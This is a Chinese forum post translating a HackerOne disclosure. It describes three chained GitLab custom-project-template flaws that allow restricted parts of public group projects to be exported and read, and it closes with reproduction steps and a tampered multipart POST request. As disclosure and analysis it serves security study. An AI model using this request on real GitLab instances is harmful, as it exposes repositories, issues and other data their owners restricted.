用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    184

    主题

    184

    帖子

    1671

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-11-28 17:41:59 0477

    22.png

    近期,hackerone公开了研究人员提交的Gitlab模板功能的三个小漏洞,可组合起来窃取敏感信息,详情如下所述。

    细节

    先让我们从企业版(EE)的ProjectsController开始,它和app/controllers/projects_controller.rb文件相关联。

    ee/app/controllers/ee/projects_controller.rb
    
    override :project_params_attributes
        def project_params_attributes
              super + project_params_ee
        end
    
    def project_params_ee
      attrs = %i[
        # ...
        use_custom_template
        # ...
        group_with_project_templates_id
      ]
    
      # ...
    
      attrs
    end
    

    以上所示方法定义了用户需要传递哪些参数。其中有两个值得注意的参数分别是use_custom_templategroup_with_project_templates_id。而在app/controllers/projects_controller.rb文件的351行,project_params_attributes方法的值被附加到该方法中,这个值表示创建项目时用户可以提供的所有CE属性。CE控制器也允许传递template_name参数。这意味着有三个参数可以传递给create方法中的Projects::CreateService

    app/controllers/projects_controller.rb
    
    def create
      home.php?mod=space&uid=293174 = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute
    
      # ...
    end
    
    # ...
    
    def project_params_attributes
      [
        # ...
        :template_name,
        # ...
      ]
    

    而在EE中,EE:Projects::CreateServiceProjects::CreateService相关联。前置的EE代码包含验证参数use_custom_templategroup_with_project_templates_id的逻辑。

    ee/app/services/ee/projects/create_service.rb
    
    def execute
      # ...
    
      group_with_project_templates_id = params.delete(:group_with_project_templates_id) if params[:template_name].blank?
    
      # ...
    
    validate_namespace_used_with_template(project, group_with_project_templates_id)
    end
    
    # ...
    
    def validate_namespace_used_with_template(project, group_with_project_templates_id)
      return unless project.group
    
      subgroup_with_templates_id = group_with_project_templates_id || params[:group_with_project_templates_id]
      return if subgroup_with_templates_id.blank?
    
      templates_owner = ::Group.find(subgroup_with_templates_id).parent
    
      unless templates_owner.self_and_descendants.exists?(id: project.namespace_id)
    project.errors.add(:namespace, _("is not a descendant of the Group owning the template"))
      end
    end
    

    而上述代码就是第一个漏洞存在的地方。在正常情况下,一个项目模板只能被复制到项目模板作为后缀的命名空间中。然而,validate_namespace_used_with_template方法在不是针对一个组创建项目时(return unless project.group)会返回一个nil值。这意味着,如果为在User名称空间中创建的项目提供group_with_project_templates_id值,那么就永远不会执行验证逻辑。这也就意味着在实例变量paramsuse_custom_templategroup_with_project_templates_id参数会被设置。

    因为EE代码是预写好的,所以execute方法是在调用Projects::CreateService之前执行的。又因为EE类的验证逻辑被绕过,所以Projects::CreateService类的execute方法会被成功调用:

    app/services/projects/create_service.rb
    
    def execute
      if @params[:template_name].present?
            return ::Projects::CreateFromTemplateService.new(current_user, params).execute
      end
    
      # ...
    end
    

    当给定template_name参数时,将返回Projects::CreateFromTemplateService的结果,而不是执行常规流程。这个类的CE代码并不是很重要。而EE类则包含了重要的逻辑:

    ee/app/services/ee/projects/create_from_template_service.rb
    
    def execute
      return super unless use_custom_template?
    
      override_params = params.dup
      params[:custom_template] = template_project if template_project
    
      ::Projects::GitlabProjectsImportService.new(current_user, params, override_params).execute
    end
    
    private
    
    def use_custom_template?
      # ...
        template_name &&
              ::Gitlab::Utils.to_boolean(params.delete(:use_custom_template)) &&
              ::Gitlab::CurrentSettings.custom_project_templates_enabled?
      # ...
    end
    
    def template_project
      # ...
            current_user.available_custom_project_templates(search: template_name, subgroup_id: subgroup_id)
            .first
      # ...
    end
    
    def subgroup_id
      params[:group_with_project_templates_id].presence
    end
    

    这个类做了如下几件事:它确定了一个自定义模板名,并且GitLab实例启用了自定义项目模板。值得注意的是:gitlab.com启用了这个设置。当它通过这些检查时,template_project方法就会被调用。下面是available_custom_project_templates方法的定义:

    ee/app/models/ee/user.rb
    
    def available_custom_project_templates(search: nil, subgroup_id: nil)
      templates = ::Gitlab::CurrentSettings.available_custom_project_templates(subgroup_id)
    
      ::ProjectsFinder.new(current_user: self,
                           project_ids_relation: templates,
                           params: { search: search, sort: 'name_asc' })
                      .execute
    end
    

    该方法需要两个参数:searchsubgroup_id。第一个是用户传递的template_name,第二个是group_with_project_templates_idtemplates变量根据以下方法定义获取其值:

    ee/app/models/ee/application_setting.rb
    
    def available_custom_project_templates(subgroup_id = nil)
      group_id = subgroup_id || custom_project_templates_group_id
    
      return ::Project.none unless group_id
    
      ::Project.where(namespace_id: group_id) 
    end
    

    此方法将返回,subgroup_id参数提供给namespace_id的所有Project模型。然后传递给User模型上的available_custom_project_templates方法中的ProjectsFinder。这就是第二个漏洞所在。ProjectsFinder使用一个初始集合,其中包含经过身份验证的用户可以访问的项目。但是,它并不会验证用户的访问级别。这意味着任何项目都是公开的,例如敏感的RepositoryIssueSnippets等,都会被User模型上的available_custom_project_templates方法返回。在理想的情况下,该方法应该根据用户权限返回对应的内容。

    如果我们回到EE:Projects::CreateFromTemplateService文件,你能看到template_project通过available_custom_project_templates方法返回首个项目。这意味着params[:custom_template]也许会包含本不应该被泄露的Project模型。而EE::Projects::CreateFromTemplateService类稍后会调用参数更新后的Projects::GitlabProjectsImportService类。

    def execute
      super.tap do |project|
        if project.saved? && custom_template
              custom_template.add_export_job(current_user: current_user,
                                         after_export_strategy: export_strategy(project))
        end
      end
    end
    
    private
    
    override :prepare_import_params
    def prepare_import_params
      super
    
      if custom_template
        params[:import_type] = 'gitlab_custom_project_template'
      end
    end
    
    def custom_template
      strong_memoize(:custom_template) do
        params.delete(:custom_template)
      end
    end
    
    def export_strategy(project) 
         Gitlab::ImportExport::AfterExportStrategies::CustomTemplateExportImportStrategy.new(export_into_project_id: project.id)
    end
    

    这个EE类是前置的,但是使用super.tap去调用CE代码(super),然后前进到CE代码的结果。如果设置了params[:custom_template],并且通过super调用成功保存了项目,则会为ProjectsFinder返回的custom_template安排一个导出动作。此时用户可能没有权限查看项目的各个部分。此外,导入新创建的项目中的导出文件,是一个新的导出策略。

    而这里存在第三个漏洞。当规划好导出动作时,它假定用户已被授权进行导出。在理想情况下,规划好的的Sidekiq作业(ProjectExportWorker)将进行权限检查。这也可以避免当队列堵塞,并且用户在作业执行之前离开项目的TOCTOU问题。当导出作业创建后,将自动将其导入到用户能完全访问的项目中。

    将以上三个漏洞结合起来,攻击者就能够获得某个项目中的任何敏感信息。这种攻击仅适用于属于一个组且repositoriesissuespipelinesmerge requests访问受限的公共项目。一个明显的例子即是[https://gitlab.com/gitlab-com/finance](https://gitlab.com/gitlab-com/finance),它虽然是一个公共项目,但项目很多部分都没有公开。

    33.png

    PoC

    复现步骤如下:

    1.以普通用户身份登录并创建一个组,假设组ID是1

    2.在这个组中,创建一个公共项目test_project

    3.在Settings > General下更新Visibility, project features, permissions,让多个项目部分只对项目成员开放

    44.png

    4.登陆另一个帐户,转到[http://instance/projects/new](http://instance/projects/new)

    5.创建一个新项目,并将相关请求拦截下来

    POST /projects HTTP/1.1
    Host: instance
    ...
    
    ----------506740453
    Content-Disposition: form-data; name="project[use_custom_template]"
    
    false
    ----------506740453
    Content-Disposition: form-data; name="project[template_name]"
    
    ----------506740453
    Content-Disposition: form-data; name="project[group_with_project_templates_id]"
    
    ----------506740453
    Content-Disposition: form-data; name="project[name]"
    
    project_name
    ----------506740453
    Content-Disposition: form-data; name="project[namespace_id]"
    
    1
    ----------506740453
    Content-Disposition: form-data; name="project[path]"
    
    project_name
    ----------506740453--
    

    对于以上请求,更改参数use_custom_templatetruetemplate_name改为攻击目标,group_with_project_templates_id改为受害者创建的组ID。接着发送请求,你将很快看到项目被导入。

    55.png

    根据项目大小,这一过程可能需要几分钟。最后你就可以看到目标项目的全貌。

    66.png

    Gitlab在确认漏洞后,发放了12000美金的奖励。

    77.png

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3227.html
    来源:https://hackerone.com/reports/689314
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册